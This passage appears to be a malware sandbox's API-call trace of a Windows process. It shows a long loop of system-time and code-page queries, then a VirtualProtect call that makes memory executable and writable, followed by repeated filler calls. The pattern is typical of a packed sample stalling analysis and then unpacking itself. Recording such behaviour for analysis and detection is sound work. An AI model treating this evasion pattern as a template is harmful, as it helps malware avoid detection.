lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.507] GetACP () returned 0x4e4 [0050.507] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.508] GetACP () returned 0x4e4 [0050.508] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.508] GetACP () returned 0x4e4 [0050.508] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.508] GetACP () returned 0x4e4 [0050.508] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.564] GetACP () returned 0x4e4 [0050.564] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.564] GetACP () returned 0x4e4 [0050.564] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.564] GetACP () returned 0x4e4 [0050.564] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.564] GetACP () returned 0x4e4 [0050.564] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.565] GetACP () returned 0x4e4 [0050.565] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.566] GetACP () returned 0x4e4 [0050.566] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.567] GetACP () returned 0x4e4 [0050.567] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.570] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.571] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.571] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.571] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.571] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.571] GetACP () returned 0x4e4 [0050.571] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.572] GetACP () returned 0x4e4 [0050.572] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.574] GetACP () returned 0x4e4 [0050.574] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.574] GetACP () returned 0x4e4 [0050.574] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.574] GetACP () returned 0x4e4 [0050.574] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.574] GetACP () returned 0x4e4 [0050.574] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.574] GetACP () returned 0x4e4 [0050.575] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.576] GetACP () returned 0x4e4 [0050.576] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.576] GetACP () returned 0x4e4 [0050.576] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.576] GetACP () returned 0x4e4 [0050.576] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.576] GetACP () returned 0x4e4 [0050.576] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.576] GetACP () returned 0x4e4 [0050.831] VirtualProtect (in: lpAddress=0x5b5ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.832] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 